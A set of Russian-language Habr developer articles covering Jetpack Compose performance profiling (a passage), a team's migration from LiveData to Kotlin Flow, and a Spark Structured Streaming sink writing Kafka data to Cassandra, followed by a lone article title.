Кроме того, у лямбды, помимо передаваемых аргументов, есть аргументы извне (например, контекст), из-за которых сгенерированные компилятором классы будут отличаться.
**Решение.** В той же статье приводится четыре способа решить данную проблему.
**1. Ссылки на методы.** Используя ссылки на методы вместо лямбды, мы предотвратим создание нового класса. Ссылки на методы являются stable-функциональными типами и будут оставаться эквивалентными между композициями.
```
// Вместо лямбды
{ lesson ->
viewModel.playHooky(lesson)
}
// использовать ссылку на метод
viewmodel::playHooky
```
**2.**`Remember`**.** Другой вариант — запоминать экземпляр лямбды между композициями. Это гарантирует, что точно такой же экземпляр лямбды будет повторно использоваться при дальнейших композициях.
```
// Создать запоминаемый объект и передавать его при инициализации
val playHookyRemember: (Lesson) -> Unit = remember { { viewModel.playHooky(it) } }
```
> [В документации Android](https://developer.android.com/jetpack/compose/performance#use-remember) рекомендуется не забывать про `remember`.
>
>
**3. Статичные функции.** Если лямбда-выражение просто вызывает функцию верхнего уровня, то компилятор посчитает лямбду стабильной, так как функции верхнего уровня не получают извне такие аргументы, как контекст.
**4.**`@Stable`**в лямбде.** Пока выражение в лямбде затрагивает только другие стабильные типы, оно не будет перестраиваться компилятором при рекомпозиции графа.
```
var skippedLessons by remember { mutableStateOf(listOf("Biology", "Geography", "Chemistry")) }
Schedule(
playHooky = { lesson ->
skippedLessons += lesson
}
)
```
**Применение.** Вернувшись к «Кампусу», используя полученные знания, можем исправить неправильные передачи лямбды следующим образом:
```
@Composable
internal fun ScheduleScreenContent(
selectedDate: ComposeDate,
onDateSelected: (LocalDate) -> Unit,
onItemClick: (ScheduleDetails) -> Unit,
viewAds: (LocalDate, ScheduleDay.Lesson) -> Unit,
clickOnAds: (LocalDate, ScheduleDay.Lesson) -> Unit,
scheduleDayForDate: (LocalDate) -> StateFlow>
) {
CalendarDayPager(
selectedDate = selectedDate,
onDateSelected = onDateSelected,
dayContent = { date ->
val scheduleDayFlow: StateFlow> = remember(date) {
scheduleDayForDate(date.toLocalDate())
}
val scheduleDay: RemoteState by scheduleDayFlow.collectAsState()
// Вынесли лямбду в отдельный объект, используя remember
val viewAdsRemember: (ScheduleDay.Lesson) -> Unit =
remember(date) { { lesson -> viewAds(date.toLocalDate(), lesson) } }
// Вынесли лямбду в отдельный объект, используя remember
val clickOnAdsRemember: (ScheduleDay.Lesson) -> Unit =
remember(date) { { lesson -> clickOnAds(date.toLocalDate(), lesson) } }
ScheduleDayPage(
state = scheduleDay,
onItemClick = onItemClick,
viewAds = viewAdsRemember,
clickOnAds = clickOnAdsRemember
)
}
)
}
```
### Профилирование CPU: находим «тяжелые» методы и разгружаем процессор
#### CPU Profiler
Самым весомым оружием в борьбе с зависаниями является [профилирование CPU](https://developer.android.com/studio/profile/cpu-profiler). А оптимизация использования процессора вашим приложением имеет много преимуществ, таких как обеспечение более быстрого и плавного взаимодействия с пользователем и сохранение времени автономной работы устройства.
Вы можете использовать профилировщик для проверки использования CPU вашим приложением и активности потоков во время взаимодействия с вашим приложением.
**Применение.** Как запустить профилирование, хорошо описано [в статье Такеши Хакигуры](https://medium.com/androiddevelopers/spot-your-ui-jank-using-cpu-profiler-in-android-studio-9a4c41a54dab). Разберем, какие возможности дает нам эта статистика, на примере «Кампуса». Запустим проект на симуляторе и перейдем во вкладку Profiler.
После запуска приложения появятся графики CPU, Memory, Energy. Нас интересует статистика CPU, в ее детальном виде вы должны увидеть следующее:
Чтобы создать запись статистики, щелкните Record, повзаимодействуйте с приложением и нажмите Stop.
После создания записи вы должны увидеть следующее окно с графиком загрузки процессора на записанном интервале CPU Usage (1), статистикой взаимодействий с приложением Interaction (2), потоками Threads (3) и детальной статистикой потока Analysis (4).
#### Flame Chart
Нас дальше будет интересовать вкладка Flame Chart, в которой находится график, представляющий собой граф вызовов функций с занимаемым ими временем работы процессора. С помощью него удобно находить выделяющиеся по времени процессы, которые можно оптимизировать.
Для начала выберем интересующий нас интервал в окне CPU Usage. Далее его можно зафиксировать более детально в окне Threads. Выберем наиболее явно выраженные столбцы.
Что нас здесь интересует:
**1. Время отрисовки компонентов.** Стандартная частота обновления для большинства дисплеев смартфонов составляет 60 Гц. То есть изображение на дисплее полностью обновляется 60 раз в секунду, или каждые 16,67 миллисекунды.
Именно столько должна занимать отрисовка компонента, чтобы UI был плавным. Так что обращайте внимание на наиболее «тяжелые» методы.
> Показатель времени отрисовки следует считать в соотношении: данные во Flame Chart к количеству секунд в выбранном интервале. Точное время интервала указано во вкладке Summary.
>
>
**2. Загруженность процессора.** Старайтесь сделать так, чтобы большую часть времени процессор находился в ожидании, «отдыхал».
**3. Компоненты, на которые мы можем повлиять.** Такие методы можно выбрать в поиске. К примеру, произведем поиск по имени нашего проекта, и профилировщик выделит части «пламени» с нашими методами цветом, а текст в полосах с методами — жирным.
**4. Методы, которые мы можем перенести в другой поток.** Некоторые «тяжелые» задачи можно перенести в другой поток. Например, работу с базами данных.
> Более подробную информацию о возможностях профилировщика CPU можно найти [в статье](https://russianblogs.com/article/9627812896/).
>
>
**Применение**[****](https://kmm.icerock.dev/learning/android/profiling#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-2)**.** Вернемся к «Кампусу». В нашем случае записаны свайпы по экрану расписания, которые хотелось бы оптимизировать. Выберем один из них в окне CPU Usage и выберем главный поток в окне Threads. В поиске найдем наш проект: сразу видны три метода, на которые процессор тратит много времени.
Разберем один из них. На метод `WeekPage` тратится аж 400 миллисекунд на отрезке в 4 секунды. Для получения более точного значения следует выбрать усреднение по нескольким значениям. Запомним примерное значение времени процессора на данный метод — 95 миллисекунд.
```
@Composable
fun WeekPage(
startOfWeek: LocalDate,
selectedDate: LocalDate,
currentDate: LocalDate,
onDateSelected: (LocalDate) -> Unit
) {
Row(
modifier = Modifier
.fillMaxWidth()
.padding(horizontal = 16.dp),
horizontalArrangement = Arrangement.SpaceBetween
) {
DayOfWeek.values().forEach { dayOfWeek ->
val date: LocalDate = startOfWeek.plus(DatePeriod(days = dayOfWeek.ordinal))
val simpleDateFormat = SimpleDateFormat("EE", Locale.getDefault())
val dayOfWeekName = simpleDateFormat.format(date.toJavaDate()).uppercase()
val shape = RoundedCornerShape(8.dp)
Box(...) { ... }
}
}
}
```
Обратившись к коду, можем заметить явный косяк: `SimpleDateFormat` инициализируется в цикле для каждого элемента `Row`. Можем поправить это, вынеся инициализацию из `Row` и использовав `remember`.
После исправления проверим результат. Такими действиями нам удалось сократить время на отрисовку `WeekPage` до 60–70 миллисекунд (на изображении выбран интервал около 1 секунды):
#### System Trace
Кроме того, вы можете получить статистику по загруженности CPU, сконцентрированную только на composable-методах. Для этого вам нужно воспользоваться инструментом Jetpack Compose Composition Tracing.
> Jetpack Compose Composition Tracing доступен начиная со следующих версий технологий:
>
> – Android Studio Flamingo Canary 1;
> – Compose UI 1.3.0-beta01;
> – Compose Compiler 1.3.0.
>
>
Compose Composition Tracing позволяет отображать composable-функции Jetpack Compose в профилировщике System Trace Android Studio Flamingo. Следуя [инструкции в статье Бена Тренгроува](https://medium.com/androiddevelopers/jetpack-compose-composition-tracing-9ec2b3aea535), вам необходимо установить подходящую версию Android Studio и добавить зависимость в *app/gradle.kts*.
**Применение.** В CPU Profiler выберите конфигурацию System Trace, щелкните Record, повзаимодействуйте с приложением и нажмите Stop.
После создания записи вы должны увидеть следующее окно:
При проверке системной трассировки вы можете просмотреть события трассировки на временной шкале потоков, чтобы увидеть подробную информацию о событиях, происходящих в каждом потоке.
У нас появилось несколько новых вкладок: Display (1), Frame Lifecycle (2), CPU Cores (3), Process Memory (4), а вкладка с потоками немного изменилась: в ней появился граф composable-функций.
В этих вкладках можно найти объем активности на каждом ядре, объем физической памяти, используемой в настоящее время приложением, и другое.
Во вкладке Threads находится граф, а в детальной статистике по потокам также находится Flame Chart, в котором будет приведена статистика только по composable-методам.
В Threads можно нажать на метод и выполнить его поиск по всему записанному интервалу, чтобы увидеть, как часто этот метод вызывался и сколько времени занял в среднем и по каждому вызову.
> Более подробную информацию о возможностях System Trace можно найти [в официальной документации](https://developer.android.com/studio/profile/inspect-traces).
>
>
### Профилирование GPU: узнаем, какие компоненты долго отрисовываются
Немаловажным инструментом профилирования является [профилировщик GPU](https://developer.android.com/topic/performance/rendering/inspect-gpu-rendering).
Как сказано в документации, инструмент Profile GPU Rendering отображает в виде гистограммы прокрутки то, сколько времени требуется для рендеринга кадров окна пользовательского интерфейса относительно контрольного показателя в 16,67 миллисекунды на кадр.
Чтобы воспользоваться этим профилировщиком, вам понадобится девайс с версией Android 4.1 (API level 16) или выше. Инструкция по подключению есть в документации.
Горизонтальная зеленая линия соответствует 16,67 миллисекунды. Чтобы достичь 60 кадров в секунду, вертикальная полоса для каждого кадра должна оставаться ниже этой линии. Каждый раз, когда полоса превышает эту линию, в анимации могут возникать паузы.
В документации указано, [за что отвечают столбцы по цветам](https://developer.android.com/topic/performance/rendering/inspect-gpu-rendering#gpu_rendering_output).
**Применение.** На примере «Кампуса» можно обратить внимание на выраженные столбцы голубого, светло- и темно-зеленого цветов.
Следовательно много времени используется для создания и обновления списков (голубой цвет), возможно, много кастомных вью или много работы методов `onDraw`. Много времени тратится на обработку методов `onLayout` и `onMeasure` (светло-зеленый), может быть, отрисовывается сложная иерархия вью. Также много времени уходит на аниматоры, которые выполняются для вью, и на обработку входных колбэков (темно-зеленый); биндинги во время скроллинга, например `RecyclerView.Adapter.onBindViewHolder()`, обычно происходят в этом сегменте и являются наиболее распространенным источником замедлений в нем.
На следующем изображении показан график для приложения после различных оптимизаций, описанных ранее.
Судя по результатам, оптимизировать еще есть куда.
### Еще советы по устранению ошибок, найденных с помощью инструментов профилирования
Несколько советов взял из [официальной документации](https://developer.android.com/jetpack/compose/performance#best-practices) и [статьи Мукеша Соланки](https://proandroiddev.com/7-things-to-keep-in-mind-while-building-jetpack-composables-7e4a5ecaa8b0).
**1. Всегда используйте**`remember`**в своих composable-методах.** Декомпозиция может сработать в любое время по целому ряду причин. Если у нас есть значение, которое должно было пережить рекомпозицию, то `remember` поможет вам сохранить его при рекомпозиции.
**2. Используйте lazy layouts только по необходимости.** `LazyRow` для списка из пяти элементов может существенно затормозить рендер.
**3. Откажитесь по возможности от**`ConstraintLayout`**.** Используйте вместо него `Column` и `Row`. `ConstraintLayout` представляет собой систему линейных уравнений, что требует больше вычислений, нежели построение элементов одного за другим.
*Если вам было полезно,*[*подписывайтесь на наш телеграм-канал*](https://t.me/icerockdevclub)*. Там вы не пропустите новые статьи.* | https://habr.com/ru/post/701422/ | null | ru | null |
# От LiveData к Flow…
### Intro
Мы - Дима ([@fonfon](/users/fonfon)) и Настя, Android-разработчики в компании СберЗдоровье. В этой статье мы хотим рассказать о том, как мы перевели весь наш проект с LiveData на Flow, с какими трудностями столкнулись и что полезного узнали. Эта статья будет полезна тем, кто работает с LiveData, уже пробовал / хочет попробовать Flow для хранения состояний во ViewModel, а также командам, которые планируют миграцию всего проекта на новый инструмент.
### Почему мы решили отказаться от LiveData в пользу Flow?
Вместе с Kotlin Coroutines JetBrains предоставил нам такие средства для общения между корутинами, как Channels и Flow. Изначально мы начали использовать корутины в других частях проекта, в частности, для сетевого слоя. В желании унифицировать инструментарий и подключаемые библиотеки мы решили перейти на Flow вместо LiveData для взаимодействия наших ViewModel с View-слоем.
Мы старались сделать переход поэтапным, чтобы снизить риски ошибок. Начали с внедрения Flow во вьюмодели для некоторых новых экранов в приложении, и постепенно, спустя несколько релизов, стали переписывать старый код. Сейчас в нашем проекте совсем не осталось LiveData.
В этой статье я расскажу подробно о плюсах и минусах каждого инструмента, а также о шагах, которые мы предприняли при миграции. Возможно, на примере опыта нашей команды вы сможете избежать некоторых ошибок и принять решение для своего проекта.
### Тестовые случаи
Чтобы разобрать различия между инструментами, мы выделили несколько наиболее показательных тестовых случаев. Ниже рассмотрим каждый из подходов на их примере:
* Наличие подписки в момент отправки данных - есть/нет;
* То, как отправляются данные - моментально/с задержками/есть ли реакция на различные потоки;
* Зависимость от данных - отправляется ли новый пакет данных/такой-же или те-же самые данные;
* Возможность повторно прочитать текущее значение;
* Отправка единичных событий;
* Привязка к жизненному циклу - механизм подписки к жизненному циклу.
### LiveData - просто, но не гибко
Google предлагает нам 3 основных инструмента для хранения состояний во ViewModel: LiveData, MutableLiveData, MediatorLiveData. Чаще всего для переключения состояний мы пользуемся MutableLiveData, поэтому рассмотрим ее ближе.
**MutableLiveData** позволяет отправлять данные через свойство **value** и метод **postValue,** при этом value позволяет мгновенно отправлять новые данные, но только в основном потоке, а **postValue** позволяет это делать из разных потоков, но с некоторой задержкой на синхронизацию.
В основных тестах использовалась именно **MutableLiveData** и с ней мы получаем результаты, от которых и будем отталкиваться:
* При наличии подписки приходят все эвенты, во время подписки приходит последнее значение;
* При отправке данных нужно следить за потоками и вызываемыми методами отправки, при этом гарантирована стабильная отправка данных;
* LiveData никак не проверяет новые данные и при отправке одного и того-же объекта он придет 2 раза;
* В случае **MutableLiveData**, текущее значение мы можем получить через value;
* Для отправки единичных эвентов требуется Дополнительный класс - **LiveDataEvent;**
* Подписка происходит через функцию observe, c привязкой к жизненному циклу или через `observeForever`.
**LiveDataEvent**
```
data class LiveDataEvent(private val content: T) {
var hasBeenHandled = false
private set
fun getContentIfNotHandled(): T? {
return if (hasBeenHandled) {
null
} else {
hasBeenHandled = true
content
}
}
fun peekContent(): T = content
}
```
### Channel - Только для эвентов
Channel наследует 2 интерфейса SendChannel и ReceiveChannel:
```
public interface Channel : SendChannel, ReceiveChannel
```
SendChannel реализует 2 метода отправки данных**:**
```
public suspend fun send(element: E)
public fun trySend(element: E): ChannelResult
```
Функция `send` объявлена с модификатором `suspend` , поэтому выполнение корутины может быть приостановлено если при попытке отправки буфер канала заполнен или он просто отсутствует. В данном случае приостановка будет до тех пор, пока другая корутина не начнет читать значения из канала.
Функция **trySend** объявлена без модификатора `suspend` и выполняет отправку элемента в канал моментально без блокировки.
Интерфейс `ReceiveChannel` также имеет две основные функции для чтения данных из канала:
```
public suspend fun receive(): E
public fun tryReceive(): ChannelResult
```
Функция `receive` предназначена для чтения значения и последующего его удаления из канала. Имеет модификатор `suspend` и корутина приостанавливает свое выполнение при чтении из пустого канала до тех пор, пока не появится новое значение. При попытке чтения из закрытого канала будет сгенерировано исключение либо с типом `ClosedReceiveChannelException`, либо с другим классом, если таковой был передан в функцию `close`.
Функция **tryReceive**, по аналогии с функцией **trySend** для производителя, является не блокирующей.
Для интерфейса `Channel` также существует функция фабрика**:**
```
public fun Channel(
capacity: Int = RENDEZVOUS,
onBufferOverflow: BufferOverflow = BufferOverflow.SUSPEND,
onUndeliveredElement: ((E) -> Unit)? = null
)
```
В зависимости от входных параметров можно получить немного различающиеся объекты, реализующие интерфейс.
Так при `capacity` > 0 при вызове метода `send` корутина не будет блокироваться, пока не заполнится буффер. Более того корутина не будет блокироваться при любом размере, если указать стратегию `DROP_OLDEST` или `DROP_LATEST`**.**
Также стоит указать то, так как основной работой, для которой был придуман `Channel` - передача данных, то он никак не хранит последнее значение.
`Channel` - это первый инструмент, который предложила нам компания JetBrains для общения между корутинами. По некоторой неопытности мы использовали `Channel` и делали это неправильно.
#### Выводы о Channel:
* Фактически `Channel` не реализует подписку на получение данных, и получение данных сильно зависит от параметров канала;
* При наличии получателя данных все отправляемые данные успешно приходят;
* `Channel` не сравнивает данные, поэтому приходят все эвенты;
* Нельзя получить значение повторно;
* Все эвенты приходят единожды;
* Для широковещательной рассылки требуется использовать отдельную реализацию -`BroadcastChannel` со своими особенностями.
#### Минусы Channel:
* `Channel` представляет собой интерфейс, который реализуют 3 класса, каждый из которых, в зависимости от входных параметров реализует немного разное поведение;
* `Channel` реализует только P2P отправку данных и если требуется еще одна подписка, то нужно использовать `BroadcastChannel` со своими особенностями реализации;
* `Channel` использует внутри себя синхронизацию потоков, что приводит к более медленной передаче данных;
* Для того чтобы обработать данные от `Channel` и отправить их далее, потребуется создать дополнительную подписку, на что будет требоваться больше памяти.
### Flow - сложно, зато гибко
Более продвинутым инструментом для общения между корутинами является `Flow`, который появился в версии 1.4.
Фактически `Flow` закрывает все минусы, которые были в `Channel`. Чаще всего для переключения состояний мы пользуемся `MutableStateFlow` и `MutableSharedFlow`, поэтому рассмотрим их ближе.
#### MutableSharedFlow
**Методы отправки данных:**
```
override suspend fun emit(value: T)
public fun tryEmit(value: T): Boolean
```
Получение данных происходит через `collect` функцию, единую для всех `Flow`.
Для создания `MutableSharedFlow` присутствует Функция-фабрика**:**
```
public fun MutableSharedFlow(
replay: Int = 0,
extraBufferCapacity: Int = 0,
onBufferOverflow: BufferOverflow = BufferOverflow.SUSPEND
)
```
В отличие от `Channel` можно увидеть, что есть буфер для повторения части событий и буфер для отправки данных. Также можно выделить важное значение - общий буффер, который строится так:
```
val bufferCapacity0 = replay + extraBufferCapacity
```
В зависимости от размера общего буффера и стратегии, по аналогии с `Channel`, можно получить `SharedFlow`, с немного различным поведением.
Так при `bufferCapacity0` > 0 при вызове метода send корутина не будет блокироваться, пока не заполнится буффер. Более того корутина не будет блокироваться при любом размере, если указать стратегию `DROP_OLDEST` или `DROP_LATEST`**. <Дублируется из Channel>**
#### Выводы о MutableSharedFlow:
* В зависимости от параметров, передаваемых в фабрику мы получаем несколько отличающееся поведение;
* При наличии подписки все отправляемые эвенты успешно доходят, при отсутствии подписки - все зависит от размера общего буффера;
* `SharedFlow` не сравнивает данные, поэтому приходят все эвенты;
* Можно повторно получить данные из `replayCache` при его размере > 0;
* Все эвенты могут приходить как единожды, так и с повторением;
* `Flow` поддерживает широковещательную рассылку.
#### MutableStateFlow
**StateFlow** сделан по образу и подобию **SharedFlow. Вот почему StateFlow ничего более, как доработанная специализация** такой реализации SharedFlow:
```
public fun MutableSharedFlow(
replay: Int = 1,
extraBufferCapacity: Int = 0,
onBufferOverflow: BufferOverflow = BufferOverflow.SUSPEND
)
```
Если вглядеться подробнее в интерфейс `MutableStateFlow`, то можно увидеть интерфейс `StateFlow` со значением и функцией `compareAndSet`.
```
public interface MutableStateFlow : StateFlow, MutableSharedFlow {
public override var value: T
public fun compareAndSet(expect: T, update: T): Boolean
}
```
Основной функцией обновления данных в `StateFlow` является `compareAndSet`, которая сверяет текущее значение с ожидаемым и обновляет его на значение из поля `update`. При этом если `value`, `expect` и `update` равны между собой функция вернет `true`, без обновления значения. В этой мелочи кроется маленький дьявол. Если во время обновления данных происходило какое-либо преобразование, отдававшее новый результат и устанавливалось то же значение, то преобразования данных не происходило и не обновлялось фактическое состояние. В какой-то момент мы даже поймали на этом ошибку.
#### Выводы о MutableStateFlow:
* При наличии подписки все состояния обновляются, только если не эмитятся те же самые данные, причем во время подписки мы получим последнее значение;
* При достаточно большом объеме данных операция проверки может длиться достаточно долго, что в определенных случаях приводит к результатам, сравнимым с `posValue` у `LiveData`;
* Обновление состояния зависит от предыдущего состояния;
* Повторно получить данные можно через `value`;
* Для отправки единичных эвентов требуется `LiveDataEvent`.
### Наши рекомендации
На примере тестовых случаев мы разобрались, какой инструмент для чего подходит лучше, и можем дать следующие рекомендации:
1. **Для данных, полученных из репозитория, лучше использовать:**
`val flow = MutableStateFlow(STATUS_DATA)`
В данном случае использование `StateFlow` приведет к более редким обновлениям данных и более удобному их получению.
2. **Для отправки состояний из viewModel лучше использовать:**`private val flow = MutableSharedFlow(
replay = 1,
extraBufferCapacity = 0,
onBufferOverflow = BufferOverflow.DROP\_OLDEST
)`
Так как не происходит проверка данных, то мы будем получать все состояния, а так-же последнее из них будет повторно воспроизводиться при смене конфигурации.
3. **Для отправки единичных эвентов из viewModel лучше использовать:**`private val flow = MutableSharedFlow(
replay = 0,
extraBufferCapacity = 1,
onBufferOverflow = BufferOverflow.DROP\_OLDEST
)`В данном случае будет сохраняться последний отправленный эвент, до первого считывания его подписчиком.
### Выводы
Ознакомившись с разными инструментами и подходами мы сделали следующие выводы:
* С LiveData проще работать, но Flow дает больше гибкости;
* При работе с Flow нужно учитывать особенности работы корутин;
* Требуется выбирать, где использовать StateFlow, а где - SharedFlow;
* Для SharedFlow нужно правильно подбирать параметры;
* Возможно использование Channel, но только в ограниченных случаях.
### Итоги в цифрах
Мы начали миграцию с написания нового кода с применением Flow. Первой ViewModel на новом подходе стала новая главная в приложении, с нее мы начали писать новые вьюмодели сразу на Flow. Рефакторинг старого кода производился медленно и постепенно, в рамках техдолга.
В процессе рефакторинга мы затронули в том числе и старые презентеры, которые были написаны еще с применением реактивного подхода. Эти работы тоже учитываются в общих сроках миграции. Этап с рефакторингом был самым трудоемким, например, для одного из самых старых разделов приложения время работ составило ~30-40 часов.
Мы закончили переход удалением последнего вхождения LiveData в старом коде, таким образом общие сроки составили чуть меньше 1 года.
На момент старта миграции в проекте было ~55 классов ViewModel, сейчас - более 100. | https://habr.com/ru/post/672400/ | null | ru | null |
# Cassandra Sink для Spark Structured Streaming
Пару месяцев назад я начала изучать Spark, и в какой-то момент столкнулась с проблемой сохранения вычислений Structured Streaming в базе данных Cassandra.
В данном посте я привожу простой пример создания и использования Cassandra Sink для Spark Structured Streaming. Я надеюсь, что пост будет полезен тем, кто недавно начал работать со Spark Structured Streaming и задается вопросом, как выгружать результаты вычислений в базу данных.
Идея приложения очень проста — получить и распарсить сообщения из кафки, выполнить простые трансформации в спарке и сохранить результаты в кассандре.
### Плюсы Structured Streaming
О Structured Streaming можно подробно почитать в [документации](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html). Если коротко, то Structured Streaming — это хорошо масштабируемый механизм обработки потоковой информации, который основан на движке Spark SQL. Он позволяет использовать Dataset / DataFrame для агрегирования данный, вычисления оконных функций, соединений и т. д. То есть Structured Streaming позволяет использовать старый добрый SQL для работы с потоками данных.
### В чем проблема?
Стабильный релиз Spark Structured Streaming вышел в 2017 году. То есть, это довольно новый API, в котором реализован базовый функционал, но некоторые вещи придется делать самим. Например, в Structured Streaming есть стандартные функции для записи выходных данных в файл, кафку, консоль или память, но для того чтобы сохранить данные в базу придется использовать имеющийся в Structured Streaming приемник *foreach* и реализовать интерфейс *ForeachWriter*. **Начиная с версии Spark 2.3.1, реализовать такой функционал можно только на Scala и Java**.
Я предполагаю, что читатель уже знает, как Structured Streaming работает в общих чертах, знает, как реализовать нужные трансформации и теперь готов выгрузить полученные результаты в базу. Если некоторые из вышеперечисленных шагов неясны, официальная документация может послужить хорошей отправной точкой в изучении Structured Streaming. В данной статье, я бы хотела бы сфокусироваться на последнем шаге, когда вам нужно сохранить результаты в базе данных.
Ниже, я опишу пример реализации Cassandra sink для Structured Streaming и поясню как запустить его в кластере. Полный код доступен [здесь](https://github.com/epishova/Structured-Streaming-Cassandra-Sink).
Когда я впервые столкнулась с вышеуказанной проблемой, [вот этот проект](https://github.com/polomarcus/Spark-Structured-Streaming-Examples) оказался очень полезным. Однако он может показаться немного сложным, если читатель только начал работать со Structured Streaming и ищет простой пример того как выгрузить данные в кассандру. Кроме того, проект написан для работы в локальном режиме и требует некоторых изменений для запуска в кластере.
Также хочу привести примеры того, как сохранить данные в [MongoDB](https://jira.mongodb.org/browse/SPARK-134) и любую другую базу, использующую [JDBC](https://docs.databricks.com/_static/notebooks/structured-streaming-etl-kafka.html) .
### Простое решение
Чтобы выгрузить данные во внешнюю систему, необходимо использовать приемник *foreach*. Подробнее об этом можно почитать [здесь](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#using-foreach). Если вкратце, то необходимо реализовать интерфейс *ForeachWriter*. То есть необходимо определить, как открыть соединение, как обработать каждую порцию данных и как закрыть соединение в конце обработки. Исходный код выглядит следующим образом:
```
class CassandraSinkForeach() extends ForeachWriter[org.apache.spark.sql.Row] {
// This class implements the interface ForeachWriter, which has methods that get called
// whenever there is a sequence of rows generated as output
val cassandraDriver = new CassandraDriver();
def open(partitionId: Long, version: Long): Boolean = {
// open connection
println(s"Open connection")
true
}
def process(record: org.apache.spark.sql.Row) = {
println(s"Process new $record")
cassandraDriver.connector.withSessionDo(session =>
session.execute(s"""
insert into ${cassandraDriver.namespace}.${cassandraDriver.foreachTableSink} (fx_marker, timestamp_ms, timestamp_dt)
values('${record(0)}', '${record(1)}', '${record(2)}')""")
)
}
def close(errorOrNull: Throwable): Unit = {
// close the connection
println(s"Close connection")
}
}
```
Определение *CassandraDriver* и структуру выходнрй таблицы я опишу позже, а пока давайте более подробно рассмотрим, как работает приведенный выше код. Чтобы подключиться к касандре из спарка, я создаю объект *CassandraDriver*, который обеспечивает доступ к *CassandraConnector* – коннектору разработанному [DataStax](https://github.com/datastax/spark-cassandra-connector). CassandraConnector отвечает за открытие и закрытие соединения с базой, поэтому я просто вывожу отладочные сообщения в *open* и *close* методах класса *CassandraSinkForeach*.
Приведенный выше код вызывается из основного приложения следующим образом:
```
val sink = parsed
.writeStream
.queryName("KafkaToCassandraForeach")
.outputMode("update")
.foreach(new CassandraSinkForeach())
.start()
```
*CassandraSinkForeach* создается для каждой строки данных, таким образом каждая рабочая нода вставляет свою часть строк в базу данных. Т.е, каждая рабочая нода выполняет *val cassandraDriver = new CassandraDriver ();* Так выглядит CassandraDriver:
```
class CassandraDriver extends SparkSessionBuilder {
// This object will be used in CassandraSinkForeach to connect to Cassandra DB from an executor.
// It extends SparkSessionBuilder so to use the same SparkSession on each node.
val spark = buildSparkSession
import spark.implicits._
val connector = CassandraConnector(spark.sparkContext.getConf)
// Define Cassandra's table which will be used as a sink
/* For this app I used the following table:
CREATE TABLE fx.spark_struct_stream_sink (
fx_marker text,
timestamp_ms timestamp,
timestamp_dt date,
primary key (fx_marker));
*/
val namespace = "fx"
val foreachTableSink = "spark_struct_stream_sink"
}
```
Давайте посмотрим более подробно на объект *spark* . Код для *SparkSessionBuilder* выглядит следующим образом:
```
class SparkSessionBuilder extends Serializable {
// Build a spark session. Class is made serializable so to get access to SparkSession in a driver and executors.
// Note here the usage of @transient lazy val
def buildSparkSession: SparkSession = {
@transient lazy val conf: SparkConf = new SparkConf()
.setAppName("Structured Streaming from Kafka to Cassandra")
.set("spark.cassandra.connection.host", "ec2-52-23-103-178.compute-1.amazonaws.com")
.set("spark.sql.streaming.checkpointLocation", "checkpoint")
@transient lazy val spark = SparkSession
.builder()
.config(conf)
.getOrCreate()
spark
}
}
```
На каждой рабочей ноде *SparkSessionBuilder* предоставляет доступ к *SparkSession*, который был создан на драйвере. Чтобы сделать такой доступ возможным, необходимо сериализовать *SparkSessionBuilder* и использовать *[transient](https://habr.com/users/transient/) lazy val*, который позволяет системе сериализации игнорировать объекты *conf* и *spark* при инициализации программы и до момента обращения к объектам. Таким образом, при запуске программы *buildSparkSession* сериализуется и отправляется каждой рабочей ноде, но объекты *conf* и *spark* разрешаются только в момент когда к ним обращается рабочая нода.
Теперь давайте посмотрим на основной код приложения:
```
object KafkaToCassandra extends SparkSessionBuilder {
// Main body of the app. It also extends SparkSessionBuilder.
def main(args: Array[String]) {
val spark = buildSparkSession
import spark.implicits._
// Define location of Kafka brokers:
val broker = "ec2-18-209-75-68.compute-1.amazonaws.com:9092,ec2-18-205-142-57.compute-1.amazonaws.com:9092,ec2-50-17-32-144.compute-1.amazonaws.com:9092"
/*Here is an example massage which I get from a Kafka stream. It contains multiple jsons separated by \n
{"timestamp_ms": "1530305100936", "fx_marker": "EUR/GBP"}
{"timestamp_ms": "1530305100815", "fx_marker": "USD/CHF"}
{"timestamp_ms": "1530305100969", "fx_marker": "EUR/CHF"}
{"timestamp_ms": "1530305100011", "fx_marker": "USD/CAD"}
*/
// Read incoming stream
val dfraw = spark
.readStream
.format("kafka")
.option("kafka.bootstrap.servers", broker)
.option("subscribe", "currency_exchange")
.load()
val schema = StructType(
Seq(
StructField("fx_marker", StringType, false),
StructField("timestamp_ms", StringType, false)
)
)
val df = dfraw
.selectExpr("CAST(value AS STRING)").as[String]
.flatMap(_.split("\n"))
val jsons = df.select(from_json($"value", schema) as "data").select("data.*")
// Process data. Create a new date column
val parsed = jsons
.withColumn("timestamp_dt", to_date(from_unixtime($"timestamp_ms"/1000.0, "yyyy-MM-dd HH:mm:ss.SSS")))
.filter("fx_marker != ''")
// Output results into a database
val sink = parsed
.writeStream
.queryName("KafkaToCassandraForeach")
.outputMode("update")
.foreach(new CassandraSinkForeach())
.start()
sink.awaitTermination()
}
}
```
Когда приложение отправляется на исполнение, *buildSparkSession* сериализуется и отправляется рабочим нодам, однако *conf* и *spark* объекты остаются неразрешенными. Затем драйвер создает spark объект внутри *KafkaToCassandra* и распределяет работу между рабочими нодами. Каждая рабочая нода читает данные из кафки, делает простые преобразования над полученной порцией записей, и когда рабочая нода готова записать результаты в базу, она разрешает *conf* и *spark* объекты, тем самым получая доступ к *SparkSession*, созданной на драйвере.
### Как собрать и запустить приложение?
Когда я перешла из PySpark в Scala, мне потребовалось некоторое время, чтобы понять, как собрать приложение. Поэтому, я включила Maven *pom.xml* в свой проект. Читатель может собрать приложение с помощью Maven, выполнив команду *mvn package*. После приложение можно отправить на исполнение используя
```
./bin/spark-submit --packages org.apache.spark:spark-sql-kafka-0-10_2.11:2.3.1,datastax:spark-cassandra-connector:2.3.0-s_2.11 --class com.insight.app.CassandraSink.KafkaToCassandra --master spark://ec2-18-232-26-53.compute-1.amazonaws.com:7077 target/cassandra-sink-0.0.1-SNAPSHOT.jar
```
Для того чтобы собрать и запустить приложение, необходимо заменить имена моих AWS-машин своими (т.е. заменить все, что похоже на ec2-xx-xxx-xx-xx.compute-1.amazonaws.com).
Spark и Structured Streaming в частности – новая для меня тема, поэтому буду очень признательна читателям за комментарии, обсуждение и исправления. | https://habr.com/ru/post/425503/ | null | ru | null |
# Не спешите выкидывать свой PolyCom
